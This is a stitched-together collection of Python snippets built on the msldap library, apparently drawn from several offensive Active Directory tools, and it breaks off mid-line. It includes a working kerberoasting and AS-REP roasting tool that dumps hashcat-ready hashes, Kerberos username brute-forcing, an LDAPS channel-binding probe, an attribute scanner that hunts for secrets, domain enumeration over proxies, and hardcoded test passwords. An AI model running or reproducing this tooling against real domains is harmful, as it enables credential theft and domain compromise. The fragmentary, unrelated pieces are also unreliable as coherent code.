async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None): if ldap_url == 'auto': ldap_url = get_ldap_url(authmethod = authmethod, host = host) msldap_url = MSLDAPURLDecoder(ldap_url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') spn_users = [] asrep_users = [] if target_type == 'asrep' or target_type == 'all': async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) if target_type == 'spn' or target_type == 'all': async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosSPN() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) return asrep_users, spn_users
async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): try: url = 'ldaps+ntlm-password://' + inputUser + ':' + inputPassword + '@' + dcTarget conn_url = MSLDAPURLDecoder(url) ldaps_client = conn_url.get_client() ldapsClientConn = MSLDAPClientConnection( ldaps_client.target, ldaps_client.creds) _, err = await ldapsClientConn.connect() if err is not None: context.log.error("ERROR while connecting to " + dcTarget + ": " + err) #forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' _, err = await ldapsClientConn.bind() if "data 80090346" in str(err): return True elif "data 52e" in str(err): return False elif err is not None: context.log.error("ERROR while connecting to " + dcTarget + ": " + err) elif err is None: return False except Exception as e: context.log.error( "something went wrong during ldaps_withEPA bind:" + str(e))
async def generate(self): try: conn_url = MSLDAPURLDecoder(self.url) connection = conn_url.get_client() _, err = await connection.connect() if err is not None: raise err adinfo = connection._ldapinfo domain_name = adinfo.distinguishedName.replace('DC', '').replace( '=', '').replace(',', '.') async for machine, err in connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName', 'objectSid']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name) yield str(machine.objectSid), str(dns), None except Exception as e: yield None, None, e
async def client(url): #blacklist = ['msExch', 'mDB'] #attributes = load_attributes() conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err results = {} users = ldap_client.pagedsearch('(objectClass=user)', ['*']) async for user in users: user = user[0] output = f"{user['objectName']}\n" for k, v in user['attributes'].items(): if k in UNINTERESTING_ATTRIBUTES: continue if isinstance(v, list): try: v = ''.join(subvalue.decode( ) if isinstance(subvalue, type(b'')) else subvalue for subvalue in v) except: v = '' if not isinstance(v, str): continue if any(keyword in v.lower() for keyword in INTERESTING_KEYWORDS) \ or (k in INTERESTING_ATTRIBUTES and INTERESTING_ATTRIBUTES[k]) \ or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS) \ or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS_IN_INTERESTING_ATTRIBUTES if k in INTERESTING_ATTRIBUTES): if user['objectName'] not in results: results[user['objectName']] = [] results[user['objectName']].append(f"{str(k)}: {str(v)}") return results
async def get_client(url): conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err log.info("[+] Connected to target") return ldap_client
def __init__(self, url = None): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None
async def client(url): conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err user = await ldap_client.get_user('Administrator') print(str(user))
async def amain(): import traceback from msldap.commons.url import MSLDAPURLDecoder base = 'DC=TEST,DC=CORP' #ip = 'WIN2019AD' #domain = 'TEST' #username = '******' #password = '******' ##auth_method = LDAPAuthProtocol.SICILY #auth_method = LDAPAuthProtocol.SIMPLE #cred = MSLDAPCredential(domain, username, password , auth_method) #target = MSLDAPTarget(ip) #target.dc_ip = '10.10.10.2' #target.domain = 'TEST' url = 'ldaps+ntlm-password://test\\Administrator:QLFbT8zkiFGlJuf0B3Qq@WIN2019AD/?dc=10.10.10.2' dec = MSLDAPURLDecoder(url) cred = dec.get_credential() target = dec.get_target() print(cred) print(target) input() client = MSLDAPClientConnection(target, cred) await client.connect() res, err = await client.bind() if err is not None: raise err user = "******" #attributes = {'objectClass': ['inetOrgPerson', 'posixGroup', 'top'], 'sn': 'user_sn', 'gidNumber': 0} #res, err = await client.add(user, attributes) #if err is not None: # print(err) #changes = { # 'unicodePwd': [('replace', ['"TESTPassw0rd!1"'])], # #'lockoutTime': [('replace', [0])] #} #res, err = await client.modify(user, changes) #if err is not None: # print('ERR! %s' % err) #else: # print('OK!') res, err = await client.delete(user) if err is not None: print('ERR! %s' % err) await client.disconnect()
async def client(url): try: conn_url = MSLDAPURLDecoder(url) conn = conn_url.get_connection() _, err = await conn.connect() if err is not None: print('logon failed!') raise err res, err = await conn.get_serverinfo() print(str(res)) except: logging.exception('err!')
def construct_ldapdef(args): ldap_url = args.ldap_url if ldap_url[-1] == '/': ldap_url = args.ldap_url[:-1] if hasattr(args, 'same_query') and args.same_query is True and args.smb_url is not None: ldap_url = '%s/?%s' % (ldap_url, urlparse(args.smb_url).query) return MSLDAPURLDecoder(ldap_url)
def main(): import argparse parser = argparse.ArgumentParser(description='MS LDAP library') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') parser.add_argument('-n', '--no-interactive', action='store_true') parser.add_argument('url', help='Connection string in URL format.') args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) else: sockslogger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.DEBUG) ldap_url = MSLDAPURLDecoder(args.url) compdomlist = MSLDAPCompDomainList(ldap_url) asyncio.run(compdomlist.run())
async def gather(self): try: info = { 'ds' : self.domain_server, 'ms' : self.multiplexor_server, 'mp' : self.multiplexor_port, 'ai' : self.agent_id, 'sh' : self.socks_server_info['listen_ip'], 'sp' : self.socks_server_info['listen_port'] } ldap_url = 'ldap+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info) smb_url = 'smb+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info) self.logger.info(ldap_url) self.logger.info(smb_url) smb_mgr = SMBConnectionURL(smb_url) ldap_mgr = MSLDAPURLDecoder(ldap_url) #self.ldapenum = LDAPEnumeratorManager(self.db_conn, ldap_mgr, agent_cnt=self.parallel_cnt, progress_queue=self.progress_queue) #self.logger.info('Enumerating LDAP') #self.ldapenum_task = asyncio.create_task(self.ldapenum.run()) # #adifo_id = await self.ldapenum_task #if adifo_id is None: # raise Exception('LDAP enumeration failed!') #self.logger.info('ADInfo entry successfully created with ID %s' % adifo_id) # #self.logger.info('Enumerating SMB') #self.smbenum = SMBGathererManager(smb_mgr, worker_cnt=self.parallel_cnt, progress_queue = self.progress_queue) #self.smbenum.gathering_type = ['all'] #self.smbenum.db_conn = self.db_conn #self.smbenum.target_ad = adifo_id #self.smbenum_task = asyncio.create_task(self.smbenum.run()) # #await self.smbenum_task work_dir = './workdir' with multiprocessing.Pool() as mp_pool: gatherer = Gatherer( self.db_conn, work_dir, ldap_url, smb_url, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=self.progress_queue, show_progress=False, calc_edges=True, dns=None ) res, err = await gatherer.run() if err is not None: raise err return True except: logging.exception('Failed to run scan!') return False
async def do_login(self, url=None): """Performs connection and login""" try: print('url %s' % repr(url)) if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) print(self.conn_url.get_credential()) print(self.conn_url.get_target()) self.connection = self.conn_url.get_connection() self.connection.connect() except Exception as e: traceback.print_exc()
async def setup(self): try: if self.no_work_dir is False: logger.debug('Setting up working directory') if self.work_dir is not None: if isinstance(self.work_dir, str): self.work_dir = pathlib.Path(self.work_dir) else: self.work_dir = pathlib.Path() self.work_dir.mkdir(parents=True, exist_ok=True) self.ldap_work_dir = self.work_dir.joinpath('ldap') self.ldap_work_dir.mkdir(parents=True, exist_ok=True) self.smb_work_dir = self.work_dir.joinpath('smb') self.smb_work_dir.mkdir(parents=True, exist_ok=True) logger.debug('Setting up connection objects') if self.dns_server is not None: self.rdns_resolver = RDNS(server=self.dns_server, protocol='TCP', cache=True, proxy=self.proxy) if self.ldap_url is not None: self.ldap_mgr = self.ldap_url if isinstance(self.ldap_url, str): self.ldap_mgr = MSLDAPURLDecoder(self.ldap_url) if self.proxy is not None: #overriding proxy! pu = SocksClientURL.from_urls(self.proxy) p = MSLDAPProxy(MSLDAPProxyType.SOCKS5, pu) self.ldap_mgr.proxy = p if self.smb_url is not None: self.smb_mgr = self.smb_url if isinstance(self.smb_url, str): self.smb_mgr = SMBConnectionURL(self.smb_url) if self.proxy is not None: #overriding proxy! pu = SocksClientURL.from_urls(self.proxy) p = SMBProxy() p.type = SMBProxyType.SOCKS5 p.target = pu self.smb_mgr.proxy = p logger.debug('Setting up database connection') if self.progress_queue is None and self.show_progress is True: self.progress_queue = asyncio.Queue() self.progress_task = asyncio.create_task(self.print_progress()) return True, None except Exception as e: return False, e
async def do_login(self, url=None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False
async def setup(self): try: if self.no_work_dir is False: logger.debug('Setting up working directory') if self.work_dir is not None: if isinstance(self.work_dir, str): self.work_dir = pathlib.Path(self.work_dir) else: self.work_dir = pathlib.Path() self.work_dir.mkdir(parents=True, exist_ok=True) self.ldap_work_dir = self.work_dir.joinpath('ldap') self.ldap_work_dir.mkdir(parents=True, exist_ok=True) self.smb_work_dir = self.work_dir.joinpath('smb') self.smb_work_dir.mkdir(parents=True, exist_ok=True) logger.debug('Setting up connection objects') if self.dns_server is not None: self.rdns_resolver = RDNS(server=self.dns_server, protocol='TCP', cache=True) if self.ldap_url is not None: self.ldap_mgr = MSLDAPURLDecoder(self.ldap_url) if self.rdns_resolver is None: self.rdns_resolver = RDNS(server=self.ldap_mgr.ldap_host, protocol='TCP', cache=True) if self.smb_url is not None: self.smb_mgr = SMBConnectionURL(self.smb_url) if self.rdns_resolver is None: self.rdns_resolver = RDNS(server=self.smb_mgr.ip, protocol='TCP', cache=True) logger.debug('Setting up database connection') if self.progress_queue is None and self.show_progress is True: self.progress_queue = asyncio.Queue() self.progress_task = asyncio.create_task(self.print_progress()) return True, None except Exception as e: return False, e
def scan_enum(params): db_conn = current_app.config['SQLALCHEMY_DATABASE_URI'] ldap_url = params['ldap_url'] smb_url = params['smb_url'] ldap_workers = params['ldap_workers'] smb_workers = params['smb_workers'] smb_mgr = SMBConnectionURL(smb_url) ldap_mgr = MSLDAPURLDecoder(ldap_url) mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=ldap_workers) adifo_id = mgr.run() #print('ADInfo entry successfully created with ID %s' % adifo_id) mgr = SMBGathererManager(smb_mgr, worker_cnt=smb_workers) mgr.gathering_type = ['all'] mgr.db_conn = db_conn mgr.target_ad = adifo_id mgr.run() return {'adifo_id' : adifo_id}
def run(): import argparse parser = argparse.ArgumentParser( description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberoast_epilog) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog=MSLDAPURLDecoder.help_epilog) ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument('ldap_url', help='LDAP connection URL') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) spnroast_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) tgt_group = subparsers.add_parser( 'tgt', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgt_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgt_group.add_argument('out_file', help='Output CCACHE file') tgs_group = subparsers.add_parser( 'tgs', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgs_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgs_group.add_argument( 'spn', help= 'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>' ) tgs_group.add_argument('out_file', help='Output CCACHE file') auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') auto_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'tgs': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) domain, hostname = args.spn.split('/') target = KerberosTarget() target.username = hostname target.domain = domain comm = KerbrosComm(cred, ks) comm.get_TGT() comm.get_TGS(target) comm.ccache.to_file(args.out_file) elif args.command == 'tgt': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) comm = KerbrosComm(cred, ks) comm.get_TGT() comm.ccache.to_file(args.out_file) elif args.command == 'auto': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi://%s' % domain msldap_url = MSLDAPURLDecoder(url) connection = msldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] results = [] errors = [] for user in connection.get_all_knoreq_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) for user in connection.get_all_service_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosSocket(domain) ar = APREPRoast(ks) results += ar.run([cred], override_etype=[args.etype]) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'spnroast-sspi': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) ar = Kerberoast(cred, ks) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) hashes = ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) logging.debug( 'ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds, override_etype=[args.etype]) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+] Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) connection = ldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in connection.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in connection.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in connection.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in connection.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in connection.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in connection.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
async def amain(): import traceback from msldap.commons.url import MSLDAPURLDecoder base = 'DC=TEST,DC=CORP' #ip = 'WIN2019AD' #domain = 'TEST' #username = '******' #password = '******' ##auth_method = LDAPAuthProtocol.SICILY #auth_method = LDAPAuthProtocol.SIMPLE #cred = MSLDAPCredential(domain, username, password , auth_method) #target = MSLDAPTarget(ip) #target.dc_ip = '10.10.10.2' #target.domain = 'TEST' url = 'ldap+kerberos-password://test\\victim:Passw0rd!1@WIN2019AD/?dc=10.10.10.2' dec = MSLDAPURLDecoder(url) cred = dec.get_credential() target = dec.get_target() print(cred) print(target) input() client = MSLDAPClientConnection(target, cred) await client.connect() res, err = await client.bind() if err is not None: raise err #res = await client.search_test_2() #pprint.pprint(res) #search = bytes.fromhex('30840000007702012663840000006e043c434e3d3430392c434e3d446973706c6179537065636966696572732c434e3d436f6e66696775726174696f6e2c44433d746573742c44433d636f72700a01000a010002010002020258010100870b6f626a656374436c61737330840000000d040b6f626a656374436c617373') #msg = LDAPMessage.load(search) qry = r'(sAMAccountName=*)' #'(userAccountControl:1.2.840.113556.1.4.803:=4194304)' #'(sAMAccountName=*)' #qry = r'(sAMAccountType=805306368)' #a = query_syntax_converter(qry) #print(a.native) #input('press bacon!') flt = query_syntax_converter(qry) i = 0 async for res, err in client.pagedsearch(base.encode(), flt, ['*'.encode()], derefAliases=3, typesOnly=False): if err is not None: print('Error!') raise err i += 1 if i % 1000 == 0: print(i) #pprint.pprint(res) await client.disconnect()
logger.debug('Secuirty Descriptor enumeration finished!') self.sd_finish_ctr += 1 elif res_type == LDAPAgentCommand.DOMAININFO_FINISHED: logger.debug('Domaininfo enumeration finished!') self.domaininfo_finish_ctr += 1 elif res_type == LDAPAgentCommand.GPOS_FINISHED: logger.debug('GPOs enumeration finished!') self.gpo_finish_ctr += 1 if self.check_status() == True: break self.stop_agents() logger.info('[+] LDAP information acqusition finished!') return self.ad_id if __name__ == '__main__': from msldap.commons.url import MSLDAPURLDecoder import sys sql = sys.argv[1] ldap_conn_url = sys.argv[2] print(sql) print(ldap_conn_url) ldap_mgr = MSLDAPURLDecoder(ldap_conn_url) mgr = LDAPEnumeratorManager(sql, ldap_mgr) mgr.run()
def __init__(self, url, gpo_id, domain): self.domain_dn = ",".join("DC={}".format(d) for d in domain.split(".")) self.dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format( self.domain_dn) conn_url = MSLDAPURLDecoder(url) self.ldap_client = conn_url.get_client()
def run(): import argparse parser = argparse.ArgumentParser(description='MS LDAP library') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') parser.add_argument('connection', help='Connection string in URL format.') parser.add_argument('--tree', help='LDAP tree to perform the searches on') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' dump_group = subparsers.add_parser( 'dump', help='Dump all user objects to TSV file') dump_group.add_argument('outfile', help='output file') spn_group = subparsers.add_parser( 'spn', help= 'Dump all users with servicePrincipalName attribute set to TSV file') spn_group.add_argument('outfile', help='output file') dsa_group = subparsers.add_parser('dsa', help='Grab basic info about the AD') args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) else: logging.basicConfig(level=logging.DEBUG) url_dec = MSLDAPURLDecoder(args.connection) creds = url_dec.get_credential() target = url_dec.get_target() print(str(creds)) print(str(target)) connection = MSLDAPConnection(creds, target) if args.command == 'dsa': print(connection.get_server_info()) elif args.command == 'dump': connection.connect() adinfo = connection.get_ad_info() with open(args.outfile, 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(MSADUser.TSV_ATTRS) for user in connection.get_all_user_objects(): writer.writerow(user.get_row(MSADUser.TSV_ATTRS)) with open(args.outfile + '_comp', 'w', newline='', 